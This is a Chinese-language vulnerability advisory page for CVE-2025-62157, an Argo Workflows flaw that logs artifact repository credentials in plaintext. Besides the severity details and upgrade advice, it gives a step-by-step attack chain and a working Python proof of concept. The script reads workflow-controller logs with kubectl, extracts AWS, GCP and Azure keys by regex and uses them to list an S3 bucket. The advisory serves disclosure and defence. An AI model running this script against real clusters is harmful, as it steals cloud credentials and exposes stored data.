IPBUF安全漏洞报告
English
CVE-2025-62157 CVSS 6.5 中危

CVE-2025-62157 Argo Workflows artifact仓库凭证明文泄露漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-62157
漏洞类型
敏感信息泄露/凭证明文暴露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Argo Workflows (argoproj/argo-workflows)

相关标签

CVE-2025-62157Argo Workflows信息泄露凭证泄露明文存储Kubernetes敏感数据暴露artifact repositoryworkflow-controller中危漏洞

漏洞概述

CVE-2025-62157是Argo Workflows(一个开源的容器原生工作流引擎,用于在Kubernetes上编排并行作业)中的一个中危级敏感信息泄露漏洞。该漏洞源于Argo Workflows在处理artifact repository(工件仓库)凭证时存在不当的日志记录行为,导致凭证以明文形式被写入workflow-controller Pod的日志中。受影响的版本为3.6.12之前的所有版本以及3.7.0至3.7.2版本。

根据CVSS 3.1评分体系,该漏洞评分为6.5分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限(PR:L),无需用户交互(UI:N)。该漏洞对机密性影响为高(C:H),对完整性和可用性无影响。这意味着攻击者一旦成功利用该漏洞,将能够获取到artifact repository的访问凭证,可能导致存储在工件仓库中的敏感数据(如构建产物、模型文件、配置文件等)被未授权访问。

该漏洞由GitHub安全顾问团队([email protected])发现并披露,披露日期为2025年10月14日。官方已发布修复版本3.6.12和3.7.3,建议所有使用受影响版本的用户尽快升级。目前不存在已知的临时缓解措施,因此升级是唯一的有效防护手段。

技术细节

Argo Workflows支持将工作流执行过程中产生的artifact(工件)存储到外部对象存储系统(如S3、GCS、Azure Blob Storage等),为此需要配置相应的访问凭证。在受影响版本中,当workflow-controller处理包含artifact配置的工作流时,会将artifact repository的凭证信息(如访问密钥ID、密钥Secret等)以明文形式记录到Pod的标准输出日志中。

在Kubernetes环境中,默认情况下Pod日志会被收集到日志聚合系统(如Elasticsearch、Loki等)中,并且集群管理员、命名空间管理员或有相应RBAC权限的用户均可以查看Pod日志。攻击者只需拥有读取目标命名空间中Pod日志的权限(例如通过kubectl logs命令或日志查询API),即可获取明文凭证。

利用方式如下:
1. 攻击者通过kubectl logs命令查看workflow-controller Pod的日志;
2. 在日志中搜索包含artifact凭证的关键字(如accessKey、secretKey、aws_access_key_id等);
3. 提取明文凭证后,使用该凭证访问artifact repository;
4. 下载、上传或删除存储在仓库中的工件数据。

该漏洞的根本原因是在日志输出时未对敏感字段进行脱敏或过滤处理,导致凭证泄露到日志中。修复方案是在日志记录前对凭证进行脱敏处理。

攻击链分析

STEP 1
步骤1:获取初始访问权限
攻击者需要在运行Argo Workflows的Kubernetes集群中拥有至少读取Pod日志的权限。这可以通过拥有目标命名空间的pods/log get权限的ServiceAccount、拥有相应RBAC角色的用户、或者通过其他漏洞获取的初始访问权限实现。
STEP 2
步骤2:定位workflow-controller Pod
攻击者使用kubectl get pods -n <namespace> -l app=workflow-controller命令定位workflow-controller Pod的名称,为后续日志读取做准备。
STEP 3
步骤3:读取workflow-controller日志
攻击者执行kubectl logs -n <namespace> <pod-name>命令获取workflow-controller Pod的完整日志输出,其中包含artifact repository的明文凭证信息。
STEP 4
步骤4:提取artifact凭证
攻击者在日志中搜索包含accessKey、secretKey、AWS_ACCESS_KEY_ID等关键字的条目,提取出artifact repository(如S3、GCS、Azure Blob等)的访问凭证。
STEP 5
步骤5:访问artifact repository
攻击者使用提取的凭证访问artifact repository,下载、上传、修改或删除存储在其中的工件数据,可能导致数据泄露、数据篡改或数据丢失。
STEP 6
步骤6:横向扩展与持久化
如果artifact repository中存储了其他敏感数据(如备份、配置、密钥等),攻击者可以进一步利用这些数据进行横向移动或在集群中建立持久化访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62157 PoC - Argo Workflows Artifact Credentials Disclosure # This PoC demonstrates how an attacker with pod log read permissions # can extract artifact repository credentials from workflow-controller logs. import subprocess import re def exploit(target_namespace="argo", controller_label="app=workflow-controller"): """ Step 1: Identify the workflow-controller pod in the target namespace """ print("[*] Step 1: Finding workflow-controller pod...") get_pods_cmd = [ "kubectl", "get", "pods", "-n", target_namespace, "-l", controller_label, "-o", "name" ] result = subprocess.run(get_pods_cmd, capture_output=True, text=True) if result.returncode != 0: print(f"[-] Failed to list pods: {result.stderr}") return None pod_name = result.stdout.strip().split("\n")[0].replace("pod/", "") print(f"[+] Found pod: {pod_name}") """ Step 2: Retrieve the workflow-controller logs """ print("[*] Step 2: Fetching pod logs...") logs_cmd = ["kubectl", "logs", "-n", target_namespace, pod_name, "--all-containers=true"] logs_result = subprocess.run(logs_cmd, capture_output=True, text=True) if logs_result.returncode != 0: print(f"[-] Failed to get logs: {logs_result.stderr}") return None logs = logs_result.stdout print(f"[+] Retrieved {len(logs)} bytes of logs") """ Step 3: Search for artifact repository credentials in plaintext Patterns commonly found in Argo Workflows logs for S3, GCS, Azure """ print("[*] Step 3: Extracting credentials from logs...") patterns = { "aws_access_key": r"(?:aws_access_key_id|accessKey|AWS_ACCESS_KEY_ID)['\"\s:=]+([A-Z0-9]{20})", "aws_secret_key": r"(?:aws_secret_access_key|secretKey|AWS_SECRET_ACCESS_KEY)['\"\s:=]+([A-Za-z0-9/+=]{40})", "gcp_service_account": r"(?:service_account_json|serviceAccountKey|googleCredentials)['\"\s:=]+(\{[^}]+\})", "azure_account_key": r"(?:azure_account_key|accountKey|AZURE_ACCOUNT_KEY)['\"\s:=]+([A-Za-z0-9+/=]{88})", "s3_endpoint": r"(?:s3\.endpoint|S3Endpoint|s3Endpoint)['\"\s:=]+(https?://[^\s'\"]+)", "s3_bucket": r"(?:s3\.bucket|S3Bucket|s3Bucket)['\"\s:=]+([a-z0-9.-]+)", } credentials = {} for key, pattern in patterns.items(): matches = re.findall(pattern, logs, re.IGNORECASE) if matches: credentials[key] = matches print(f"[+] Found {key}: {matches[0][:10]}...") if not credentials: print("[-] No credentials found in logs") return None """ Step 4: Optionally use the credentials to access the artifact repository Example: listing objects in an S3-compatible bucket """ print("[*] Step 4: Attempting to use extracted credentials...") # Example using AWS CLI (if installed and credentials were extracted) if "aws_access_key" in credentials and "aws_secret_key" in credentials: env = { "AWS_ACCESS_KEY_ID": credentials["aws_access_key"][0], "AWS_SECRET_ACCESS_KEY": credentials["aws_secret_key"][0], } bucket = credentials.get("s3_bucket", ["my-bucket"])[0] list_cmd = ["aws", "s3", "ls", f"s3://{bucket}/"] list_result = subprocess.run(list_cmd, env=env, capture_output=True, text=True) print(f"[+] S3 bucket listing:\n{list_result.stdout}") return credentials if __name__ == "__main__": creds = exploit() if creds: print("\n[+] Exploit successful! Extracted credentials:") for k, v in creds.items(): print(f" {k}: {v}") else: print("\n[-] Exploit failed or no credentials found")

影响范围

Argo Workflows < 3.6.12
Argo Workflows 3.7.0
Argo Workflows 3.7.1
Argo Workflows 3.7.2

防御指南

临时缓解措施
官方明确表示不存在已知的临时缓解措施(No known workarounds exist),因此升级到修复版本3.6.12或3.7.3是唯一有效的解决方案。在无法立即升级的情况下,建议临时限制对workflow-controller Pod日志的访问权限,并尽快完成升级。同时应轮换所有artifact repository的访问凭证,以防止潜在的凭证泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表